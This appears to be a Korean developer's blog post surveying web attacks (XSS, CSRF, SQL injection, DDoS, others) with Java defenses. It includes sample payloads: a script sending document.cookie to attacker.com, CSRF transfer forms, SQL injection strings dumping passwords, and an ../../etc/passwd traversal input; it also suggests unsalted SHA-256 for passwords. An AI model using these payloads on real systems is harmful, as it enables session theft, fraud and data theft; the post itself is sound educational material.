백엔드 개발자

웹 보안 본문

카테고리 없음

웹 보안

임잠탱 2024. 11. 22. 00:00

다양한 공격 기법

1. Cross-Site Scripting (XSS)

공격대상 : 사용자 => 사용자가 서버를 신뢰한다는 점을 악용.

XSS는 공격자가 악성 스크립트를 웹 애플리케이션에 삽입하여 사용자의 브라우저에서 실행되도록 만드는 공격이다. 이를 통해 공격자는 사용자의 세션 쿠키를 탈취하거나, 브라우저에서 악성 명령을 실행하여 데이터 노출, 계정 탈취 등을 유도할 수 있다.

XSS는 주로 다음과 같은 방식으로 발생한다:

  1. Stored XSS: 공격자가 서버에 악성 스크립트를 저장하고, 다른 사용자가 이를 로드하면서 실행된다.
  2. Reflected XSS: 사용자가 클릭한 URL에 포함된 악성 스크립트가 브라우저에서 즉시 실행된다.
  3. DOM-based XSS: 클라이언트 측 코드에서 DOM 조작을 통해 악성 스크립트가 실행된다.

종류

  1. Stored XSS: 게시판 댓글 시스템
    • 공격자는 댓글 작성 시 다음과 같은 악성 스크립트를 삽입:
    <script\>alert('Your session is stolen!')</script\>
    • 댓글을 본 다른 사용자의 브라우저에서 경고창이 나타나거나, 쿠키가 공격자의 서버로 전송된다:
    <script\> var img = new Image(); img.src = "[http://attacker.com/steal?cookie=](http://attacker.com/steal?cookie=)" + document.cookie; </script\>
  2. Reflected XSS: 검색창
    • 공격자가 다음과 같은 URL을 생성:
    [http://example.com/search?q=](http://example.com/search?q=<script\>alert('Hacked!')</script\>)
    • 사용자가 해당 URL에 접속하면 악성 스크립트가 실행되어 경고창이 표시된다.
  3. DOM-based XSS: 클라이언트 측 조작
    • 애플리케이션이 location.hash 값을 DOM에 삽입:
    document.getElementById("output").innerHTML = location.hash;
    • URL에 http://example.com/#)<script>alert('Hi')</script> 와 같이 작성하면 브라우저에서 악성 스크립트가 실행된다.
      => location.hash는 #이후의 값을 가져옴. 스크립트 파일이 HTML안에 포함되어 악성 스크립트가 실행될 수 있다.

방어 방안

  1. 입력값 이스케이프
    • HTML, JavaScript, CSS에 사용자 입력이 삽입될 경우 반드시 이스케이프 처리:
    public String sanitizeInput(String input) { return StringEscapeUtils.escapeHtml4(input); }
  2. Content Security Policy (CSP)
    • 신뢰할 수 있는 출처에서만 스크립트를 실행하도록 제한:
    Content-Security-Policy: script-src 'self'; object-src 'none'; 위 예시는 출처가 자기 자신일 때만 허용.
  3. HTTPOnly 쿠키 사용
    • Java에서 쿠키 설정: httpOnly는 쿠키에 접근할 수 없고 http 요청에만 자동 포함되도록 함.
    Cookie cookie \= new Cookie("SESSIONID", sessionId); cookie.setHttpOnly(true); cookie.setSecure(true);
  4. DOM 조작 제한
    • DOM 요소를 조작할 때 사용자 입력값을 직접 삽입하지 않고 텍스트 노드로 처리:
    const element = document.createTextNode(userInput); document.body.appendChild(element);

2. CSRF (Cross-Site Request Forgery)

공격 대상 : 서버 => 사용자를 신뢰하는 서버를 공격함
CSRF는 사용자가 의도하지 않은 요청을 공격자가 강제로 실행하도록 유도하는 공격이다. 사용자가 신뢰하는 웹사이트에 로그인한 상태에서 악성 사이트를 방문하면 공격자가 사용자의 세션으로 요청을 보낼 수 있다.

종류

  1. GET 기반 CSRF
    • 설명: 공격자가 피해자에게 악성 링크를 클릭하게 하여 요청을 보냄.
    • 예시:
    <img src\="[http://example.com/transfer?amount=1000&to=attacker](http://example.com/transfer?amount=1000&to=attacker)" />
    • 영향: 사용자의 인증 세션을 이용해 불법적인 송금 요청 등 처리.
  2. POST 기반 CSRF
    • 설명: 공격자가 피해자에게 악성 폼을 제출하게 하여 요청을 전송.
    • 예시:
    <form action\="[http://example.com/transfer](http://example.com/transfer)" method\="POST"\> <input type\="hidden" name\="amount" value\="1000" /> <input type\="hidden" name\="to" value\="attacker" /> <button type\="submit"\>Submit</button\> </form\>
    • 영향: 서버가 정상적인 요청으로 처리하여 데이터를 변경하거나 전송.
  3. DOM 기반 CSRF
    • 설명: 클라이언트 측에서 DOM을 조작하여 사용자의 의도와 다른 요청을 발생시킴.
    • 예시: 자바스크립트로 요청을 보내는 방법.
    var xhr = new XMLHttpRequest(); xhr.open('POST', '[http://example.com/transfer'](http://example.com/transfer'), true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('amount=1000&to=attacker');
    • 영향: 클라이언트 측에서 악성 스크립트를 통해 요청을 보내고, 서버는 이를 정상적인 요청으로 처리.

방어 방안

  1. CSRF 토큰 사용
    • 요청마다 고유 토큰을 포함하여 서버가 이를 검증:
    <form method\="POST" action\="/transfer"\> <input type\="hidden" name\="csrfToken" value\="unique-token"\> <input type\="text" name\="amount"\> <button type\="submit"\>Submit</button\> </form\> 쿠키만으로 검증하지 않고, 2차적인 인증 요소를 포함했다고 할 수 있음. 쿠키의 특징은 자동으로 요청에 포함된다는 것인데, CSRF 토큰은 명시적으로 포함시켜야 함. 그럼 JWT를 사용하면 CSRF 공격을 막을 수 있나? 그렇다고 할 수 있다. But XSS 공격에는 취약해 짐. JWT를 로컬 스토리지나 세션 스토리지에 저장할텐데 그럼 자바스크립트를 통해 접근이 가능해짐.
  2. SameSite 쿠키 설정
    • 쿠키가 동일 출처에서만 전송되도록 제한:
    ResponseCookie cookie \= ResponseCookie.from("SESSIONID", sessionId) .sameSite("Strict") .httpOnly(true) .build();
  3. Referrer 검증
    • 요청의 Referer 헤더를 확인하여 외부 출처의 요청을 차단.
    • Referrer은 출처를 헤더에 포함시키는 것인데 헤더는 클라이언트에서 위조가 쉬움.

3. SQL Injection

SQL Injection은 입력값을 통해 데이터베이스 쿼리를 조작하여 데이터를 탈취하거나 삭제하는 공격이다.

구체적 사례

  1. Classic SQL Injection
    • 설명: 가장 기본적인 방식으로, 사용자가 입력한 값이 쿼리에 직접 삽입되어 공격.
    • 예시:
      입력값:
    • ' OR '1'='1 결과 쿼리: SELECT \* FROM users WHERE username \= '' OR '1'\='1';
    • 영향: 인증 우회, 데이터 유출.
  2. Blind SQL Injection
    • 설명: 데이터베이스의 응답 내용을 직접 볼 수 없는 상황에서 참/거짓으로 결과를 추론.
    • 예시:
      입력값:
    • ' AND 1=1 -- (참) ' AND 1\=2 \-- (거짓)
    • 영향: 참/거짓 응답을 기반으로 데이터베이스 구조 파악. 참일 때, 거짓일 때 어떤 동작이 일어나는지 확인.
  3. Union-based SQL Injection
    • 설명: 여러 SELECT 쿼리의 결과를 결합하여 데이터를 반환하는 방식으로 공격자가 다수의 쿼리를 병합하여 악용.
    • 예시:
    • ' UNION SELECT null, username, password FROM users --
    • 영향: 다른 테이블의 데이터까지 조회 가능, 데이터 유출.
  4. Time-based Blind SQL Injection
    • 설명: 데이터베이스에서 특정 조건이 참/거짓인지를 시간 차이를 통해 추론하는 방식.
    • 예시:
    • ' AND IF(1\=1, SLEEP(5), 0) --
    • 영향: 쿼리 응답 시간을 기준으로 데이터베이스의 정보 구조를 파악.

방어 방안

  1. Prepared Statement 사용
    • Java에서 PreparedStatement를 통해 동적 쿼리를 방지:
    • String query \= "SELECT \* FROM users WHERE username = ? AND password = ?"; PreparedStatement stmt \= connection.prepareStatement(query); stmt.setString(1, username); stmt.setString(2, password);
  2. ORM 도구 활용
    • Hibernate나 JPA를 통해 쿼리를 추상화. (내부적으로 Prepared Statement를 사용)
  3. 입력 값 검증 및 제한
    • 사용자 입력 값의 길이나 형식에 제한을 두고, 불필요한 쿼리 문법을 거부.

4. DDoS (Distributed Denial of Service)

DDoS는 다수의 장치가 동시에 특정 서버나 네트워크로 과도한 요청을 보내 리소스를 고갈시키고, 이를 통해 정상적인 사용자가 서비스를 이용하지 못하도록 만드는 공격이다.

DDoS 공격의 주요 유형

  1. Volume-based 공격
    • 대량의 트래픽(예: UDP 플러드, ICMP 플러드)을 발생시켜 네트워크를 마비.
    • UDP 플러드: UDP 프로토콜의 연결 과정을 악용해 대량의 무작위 패킷을 전송, 네트워크 대역폭을 고갈. (UDP는 별도의 연결 과정이 없음. 빠르게 대량 데이터 전송 가능)
    • ICMP 플러드: 대량의 ICMP(Echo Request) 패킷을 보내 네트워크를 마비시키는 공격.
      (ICMP(Internet Control Message Protocol)는 데이터 전달이 아닌 네트워크 상태(PING)나 오류 메시지를 전달하는 프로토콜. 대량의 PING을 보내 마비시킴)
  2. Protocol-based 공격
    • SYN 플러드, Ping of Death 등 네트워크 프로토콜의 취약점을 악용.
    • SYN 플러드: TCP 3-way 핸드셰이크 과정에서 다량의 SYN 요청을 보내 서버 자원을 고갈시킴. (ACK 응답을 안보냄)
    • Ping of Death: 비정상적으로 큰 ICMP 패킷을 전송하여 네트워크 장비를 오작동하게 만듦.
  3. Application Layer 공격
    • HTTP GET/POST 플러드를 통해 서버 애플리케이션의 자원을 고갈시킴.
    • HTTP GET/POST 플러드: 웹 서버에 정상적인 HTTP 요청을 대량으로 보내 서버 자원을 소진시켜 서비스 불능 상태를 유발.

DDoS 방어 방안

  1. Rate Limiting
    • 단위 시간당 요청 횟수를 제한.
    • 예시:
    • @RateLimiter(name = "default", limit = 100, period = "1s") public ResponseEntity<String> getResponse() { return ResponseEntity.ok("Success"); }
  2. CDN 및 WAF(Web Application Firewall)
    • Cloudflare, AWS Shield와 같은 서비스를 이용해 공격 트래픽을 분산 처리.
  3. DDoS 전용 방어 솔루션
    • Arbor Networks, Radware 같은 DDoS 방어 전문 솔루션 도입.

5. 랜섬웨어 (Ransomware)

랜섬웨어는 사용자의 데이터를 암호화한 뒤, 이를 복호화하기 위한 대가로 금전을 요구하는 악성 소프트웨어이다.

랜섬웨어 방어 방안

  1. 정기 백업
    • 중요한 데이터를 주기적으로 백업하여 랜섬웨어에 의한 데이터 손실을 최소화.
  2. 최신 보안 패치
    • 소프트웨어의 취약점을 악용한 랜섬웨어를 방지하기 위해 항상 최신 패치를 유지.
  3. 이메일 필터링
    • 피싱 이메일을 통한 랜섬웨어 감염을 차단.
  4. 파일 실행 제한
    • Java에서는 파일 업로드 시 실행 파일의 업로드를 차단:
    • if (uploadedFile.getName().endsWith(".exe")) { throw new SecurityException("Executable files are not allowed"); }

웹 보안을 위한 다양한 접근법

1. SOP (Same-Origin Policy)

Same-Origin Policy(SOP)는 웹 브라우저에서 실행되는 스크립트가 다른 출처(origin)의 리소스에 접근하지 못하도록 제한하는 보안 메커니즘이다. SOP는 클라이언트 측 보안을 강화하여 악의적인 스크립트가 민감한 데이터를 탈취하거나 조작하지 못하도록 한다.

Origin의 정의

Origin은 프로토콜, 호스트, 포트 번호로 구성된다. 두 URL이 동일한 Origin인지 확인하려면 이 세 가지가 모두 일치해야 한다.

  • 예시:
    • https://example.com:443/page1 https://example.com:443/page2 → 동일한 Origin.
    • http://example.com/page1 https://example.com/page2 → 프로토콜이 다르므로 다른 Origin.

SOP의 적용 범위

  1. DOM 접근 제한
    • 한 Origin에서 로드된 스크립트는 다른 Origin의 DOM을 조작할 수 없다.
    • 예시: https://example.com 스크립트는 https://another.com의 DOM에 접근 불가.
  2. 쿠키 및 세션 제한
    • 한 Origin에서 생성된 쿠키는 다른 Origin의 요청에 포함되지 않는다.
  3. AJAX 요청 제한
    • SOP는 XMLHTTPRequest 또는 Fetch API를 통해 다른 Origin으로의 요청은 허용하지만, 응답 데이터에 대한 접근을 제한한다.

SOP 우회와 대안

  1. CORS (Cross-Origin Resource Sharing)
    • 서버에서 특정 Origin의 요청을 허용하도록 설정.
    • 예시:
    • Access-Control-Allow-Origin: https://trusted.com
  2. JSONP
    • 과거에 SOP를 우회하기 위해 사용된 기술로, <script>태그를 이용해 JSON 데이터를 로드한다.

2. HTTPS

HTTPS란 무엇인가?

HTTPS(HyperText Transfer Protocol Secure)는 HTTP 프로토콜에 TLS/SSL을 적용하여 클라이언트와 서버 간 통신을 암호화하는 프로토콜다. 이를 통해 데이터 도청, 중간자 공격, 데이터 변조를 방지할 수 있다.

참고 : http/https

HTTPS의 주요 기능

  1. 암호화: 데이터를 암호화하여 전송 중 도청을 방지.
  2. 무결성: 전송된 데이터가 변경되지 않았음을 보장.
  3. 인증: 서버의 신원을 확인하여 사용자가 신뢰할 수 있는 서버와 통신 중임을 보장.

HTTPS 작동 원리

  1. TLS 핸드셰이크
    • 클라이언트와 서버가 암호화 키를 교환.
  2. 인증서 검증
    • 서버는 신뢰할 수 있는 인증 기관(CA)에서 발급한 인증서를 통해 신원을 증명.
  3. 데이터 암호화
    • 클라이언트와 서버 간에 공유된 세션 키를 사용해 데이터를 암호화.

3. MFA (Multi-Factor Authentication)

MFA는 사용자 인증 시 여러 요소를 요구하여 보안을 강화하는 인증 방식이다. 하나의 인증 요소가 탈취되더라도 추가 인증 단계가 있기 때문에 계정 탈취 위험이 낮아진다.

MFA의 구성 요소

  1. 사용자가 알고 있는 것: 비밀번호, PIN.
  2. 사용자가 가지고 있는 것: OTP 생성기, 스마트폰, 보안 토큰.
  3. 사용자 본인임을 증명하는 것: 지문, 얼굴 인식, 음성 인식.

MFA의 구현 방식

  1. TOTP (Time-based One-Time Password)
    • 사용자는 스마트폰 앱(예: Google Authenticator)을 통해 OTP를 생성.
    • 서버는 OTP를 검증하여 사용자 인증.
  2. SMS 인증
    • 사용자의 휴대폰으로 일회용 인증 코드를 전송.
  3. 생체 인증
    • 사용자의 지문이나 얼굴을 이용한 인증.

MFA의 장점

  1. 단일 인증 요소가 탈취되더라도 계정 보호 가능.
  2. 피싱 공격, Credential Stuffing 등을 효과적으로 방지.

4. 시큐어 코딩 (Secure Coding)

시큐어 코딩은 애플리케이션 개발 단계에서 보안 취약점을 사전에 예방하기 위해 권장되는 코딩 원칙과 방식을 따르는 것을 의미한다. 이는 코드에서 발생할 수 있는 보안 취약점을 최소화하고, 안전한 애플리케이션을 개발하기 위한 필수적인 과정이다.

자바 시큐어 코딩의 주요 원칙

  1. 입력 값 검증
    • 사용자 입력 값을 반드시 검증하여 SQL Injection, XSS, CSRF를 방지. (사용자의 입력을 절대 신뢰하면 안된다)
    • 예시:
    • if (!input.matches("\[a-zA-Z0-9\]{1,10}")) { throw new IllegalArgumentException("Invalid input"); }
  2. 암호화
    • 중요한 데이터를 저장하거나 전송할 때 반드시 암호화.
    • 예시:
    • MessageDigest md \= MessageDigest.getInstance("SHA-256"); byte\[\] hash = md.digest(password.getBytes(StandardCharsets.UTF\_8));
  3. 예외 처리
    • 내부 시스템 정보가 사용자에게 노출되지 않도록 예외를 적절히 처리. (세부적인 에러 메시지를 사용자에게 보여줄 경우 공격자가 악용할 수 있다.)
    • 예시:
    • try { // Some logic } catch (Exception e) { logger.error("Internal error", e); // 내부 로그 throw new RuntimeException("Something went wrong!"); // 사용자 메시지 }
  4. 권한 관리
    • 애플리케이션의 민감한 데이터나 기능에 대해 최소 권한만 부여.
    • 예시:
    • @PreAuthorize("hasRole('ROLE\_ADMIN')") public void adminAction() { // Admin only }
  5. 보안 모듈 활용
    • Spring Security, Apache Shiro와 같은 프레임워크를 사용해 보안 기능을 통합.

5. 그 외

이 외에도 다양한 공격 기법들이 있기 때문에 알고 대비할 수 있어야 한다.

1. 제로데이 공격 (Zero-Day Attack)

  • 설명: 소프트웨어의 알려지지 않은 취약점을 발견하고 이를 개발사가 패치하기 전에 악용하는 공격.
  • 특징: 취약점이 처음 공개된 날(제로데이)부터 공격이 시작되며, 탐지와 방어가 어려움.

2. N-데이 공격 (N-Day Attack)

  • 설명: 보안 패치가 공개된 이후에도 패치가 적용되지 않은 시스템을 대상으로 취약점을 악용하는 공격.
  • 특징: 기업이 업데이트를 지연하거나 무시한 경우 주로 발생.
  • 보안 패치가 공개되는 날부터 해커와의 전쟁 시작이다! 패치는 취약점을 보완하기 위해 나오기 때문에 공격자가 패치를 보고 취약점을 파악할 수 있다. 최대한 빠르게 패치를 적용해야 한다.

3. 사회공학 공격 (Social Engineering Attack)

  • 설명: 사람의 심리를 악용해 정보를 탈취하거나 시스템 접근 권한을 얻는 공격.
  • 예시:
    • 피싱(Phishing): 가짜 이메일이나 사이트로 사용자의 계정 정보를 탈취.
    • 스미싱(Smishing): 문자 메시지로 악성 링크를 전송.
    • 프리텍스팅(Pretexting): 신뢰를 얻기 위해 거짓 신분이나 상황을 가장.

4. 드라이브-바이 다운로드 (Drive-By Download)

  • 설명: 악성 웹사이트를 방문하는 것만으로 악성 소프트웨어가 자동으로 다운로드되어 감염되는 공격.
  • 특징: 사용자의 명시적 동의 없이 실행되며 브라우저나 플러그인의 취약점을 악용.

5. 버퍼 오버플로우 (Buffer Overflow)

  • 설명: 애플리케이션이 처리 가능한 데이터 크기를 초과하는 입력을 통해 메모리를 덮어쓰고, 악성 코드를 실행하는 공격.
    • 초과한 메모리가 중요한 데이터를 덮어씀으로써 공격자가 원하는 악성 코드가 실행되도록 유도할 수 있음.
  • 특징: 시스템 충돌 또는 악성 코드 실행.

6. APT (Advanced Persistent Threat)

  • 설명: 특정 조직이나 개인을 장기간에 걸쳐 지속적으로 공격하며 데이터를 탈취하거나 시스템을 장악.
  • 특징: 고도의 기술과 정교한 사회공학 기법이 결합된 공격.

7. 악성코드 (Malware)

  • 설명: 시스템을 손상시키거나 데이터를 탈취하는 악성 소프트웨어.
  • 유형:
    • 바이러스(Virus): 다른 파일에 감염되어 전파.
    • 웜(Worm): 네트워크를 통해 자가 복제.
    • 랜섬웨어(Ransomware): 파일을 암호화한 후 금전을 요구.

8. 크리덴셜 스터핑 (Credential Stuffing)

  • 설명: 유출된 사용자 ID와 비밀번호를 다른 웹사이트에 자동으로 입력해 계정을 탈취.
  • 특징: 사용자가 동일한 비밀번호를 여러 사이트에 사용할 경우 성공률 증가.

9. 디렉토리 트래버설 (Directory Traversal)

  • 설명: 파일 경로 입력값을 조작하여 서버에서 허가되지 않은 파일에 접근하는 공격.
  • 예시:
    • 입력값: ../../etc/passwd

10. 스니핑 (Sniffing)

  • 설명: 네트워크에서 데이터를 가로채는 공격.
  • 방어책: HTTPS, TLS 암호화.

11. 세션 하이재킹 (Session Hijacking)

  • 설명: 사용자의 세션 쿠키를 탈취하여 인증된 사용자인 척 시스템에 접근. (XSS, 스니핑, 피싱 등)
  • 방어책: Secure Cookie, HTTPOnly 설정, TLS 사용.

12. 백도어 (Backdoor)

  • 설명: 시스템에 몰래 설치된 비인가 접근 경로로(admin계정), 공격자가 원격으로 제어 가능.
  • 특징: 시스템 침투 후 추가 공격에 사용.

13. MITM (Man-in-the-Middle) 공격

  • 설명: 통신 중간에 위치해 데이터를 가로채거나 조작.
  • 방어책: TLS 암호화, 강력한 인증 메커니즘.

14. 봇넷 (Botnet)

  • 설명: 감염된 다수의 컴퓨터를 네트워크로 연결해 DDoS 공격이나 대량 스팸 메일 전송에 사용.

끝!

OWASP(Open Web Application Security Project) 에서는 4,5년에 한 번 웹/앱에서의 취약점 문제 top10을 발표하니 확인하고 예방해보자.

https://owasp.org/www-project-top-ten/

Comments